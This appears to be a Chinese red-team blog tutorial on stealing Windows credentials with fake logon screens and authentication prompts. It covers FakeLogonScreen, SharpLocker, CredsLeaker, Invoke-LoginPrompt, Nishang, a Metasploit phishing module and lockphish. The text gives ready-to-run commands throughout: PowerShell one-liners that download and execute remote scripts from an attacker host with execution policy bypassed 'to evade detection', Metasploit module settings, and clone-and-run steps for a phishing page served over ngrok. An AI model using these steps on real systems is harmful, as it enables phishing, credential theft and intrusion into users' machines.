文章前言
在windows环境中当执行程序要求用户输入域凭据以进行身份验证,例如:outlook、权限提升授权(用户帐户控制)或仅当windows处于非活动状态(锁屏)时,这种情况非常常见,而模仿windows的这种行为可以获得windows用户的凭据,这些凭据可以在RedTeam测试期间用于横向移动,当已经在系统上实现了初始立足点并且不能通过替代方法发现用户的凭证时,这种技术还算是一种比较有用的。
C#实现
现代RedTeam技术要求tradecraft以c#语言为基础,因为它允许各种框架(如Cobalt Strike、Covenant等)在内存中执行,FakeLogonScreen(https://github.com/bitsadmin/fakelogonscreen)是由arris huijgen用c#开发的windows实用程序,它将模仿windows登录屏幕,试图获取当前用户的密码
该工具能够显示当前配置的背景,以降低有安全意识的用户发现这种恶意操作的风险(Windows 10效果更加好一些,win7不是那么好)
Win 7测试效果:
当用户在假登录屏幕上输入密码时,它将对Active Directory或本地进行验证,以确保密码正确,密码将显示在控制台中
可以看到还有一个二进制文件,它是项目的一部分,它会将凭据存储到本地磁盘上的一个文件(user.db)中,具体来说执行以下操作将读取包含域用户凭据的文件
type C:\Users\Administrator\AppData\Local\Microsoft\user.db
matt pickford开发了一个类似的名为sharplocker(https://github.com/Pickfordmatt/SharpLocker )的汇编二进制程序,在执行时会向用户显示一个假的登录屏幕
每一次击键都将在控制台上被捕获,直到用户的密码完全暴露(效果依旧不是很好,Windows 10要稍好一些)
Win 10测试效果:
当密码错误时会要求重新输入:
之后再MSF中会有记录:
PowerShell
windows安全输入提示非常常见,因为公司环境中的应用程序可能会定期要求用户进行身份验证,Microsoft outlook是一种经常在域环境中执行凭据请求的产品,我们可使用credsleaker(https://github.com/Dviros/CredsLeaker )模仿windows安全提示,它要求web服务器存储必要的文件,这些文件将读取凭据并将它们写入文本文件和powershell中以调用http请求,powershell命令可以直接从bat文件中执行:
Step 1:搭建一个web服务用于托管powershell:
Step 2:修改脚本中的URL地址
Step 3:上传run.bat文件到目标服务器并执行
run.bat
之后再目标主机上加载安全认证框:
该工具对凭据执行验证,只有当提供的凭据正确时,弹出窗口才会消失,域、主机名、用户名和密码将被写入web目录下
matt nelson开发了一个powershell(https://github.com/enigma0x3/Invoke-LoginPrompt )脚本,该脚本将生成一个输入提示,能够检查凭据是否有效,否则提示不会关闭,该脚本可以从远程位置执行,凭据将显示在控制台中。
powershell.exe -ep Bypass -c IEX ((New-Object Net.WebClient).DownloadString('http://192.168.174.129/Invoke-LoginPrompt.ps1')); Invoke-LoginPrompt
Nishang framework还包含一个powershell脚本,可以用来创建一个假的输入提示,以便获取windows凭据:
执行效果如下:
账户密码在控制端被记录:
或者也可以从远程位置执行该脚本以逃避检测
powershell.exe -ep Bypass -c IEX ((New-Object Net.WebClient).DownloadString('http://192.168.174.129/Invoke-CredentialsPhish/ps1')); Invoke-CredentialsPhish
Metasploit
metasploit框架包含一个模块,该模块能够在创建特定的进程或任何进程时生成输入提示,该模块必须链接到现有的会话中,并且需要定义流程
use post/windows/gather/phish_windows_credentials
set SESSION 6
set PROCESS *
run
之后等目标主机用户运行任意之前未启用的程序时则出现输入提示并将作为进程的凭证请求显示给用户,以便启动
成功获取认证的凭证
BASH
lockphish是另一种工具,能够针对windows登录屏幕实施网络钓鱼攻击,相关的模板将托管在一个php服务器上,默认情况下使用youtube,以便在用户提交凭据后重定向用户
git clone https://github.com/kali-linux-tutorial/lockphish
cd lockphish
bash lockphish.sh
社会工程是必要的,以欺骗用户点击直接链接,从而呈现钓鱼页面
https://98fa1361288f.ngrok.io
点击Redirect URL之后出现假页面:
之后输入账号密码进行登录
之后转至重定向的页面:
之后登录密码将会显示在lockphish:
不过这种方法也有弊端——不会自我校验身份认证凭证的准确性~
参考链接
https://attack.mitre.org/techniques/T1141/
https://enigma0x3.net/2015/01/21/phishing-for-credentials-if-you-want-it-just-ask/
https://github.com/enigma0x3/Invoke-LoginPrompt
https://github.com/samratashok/nishang/blob/master/Gather/Invoke-CredentialsPhish.ps1
https://github.com/Dviros/CredsLeaker
https://github.com/thelinuxchoice/lockphish
推 荐 阅 读
横向移动之RDP&Desktop Session Hija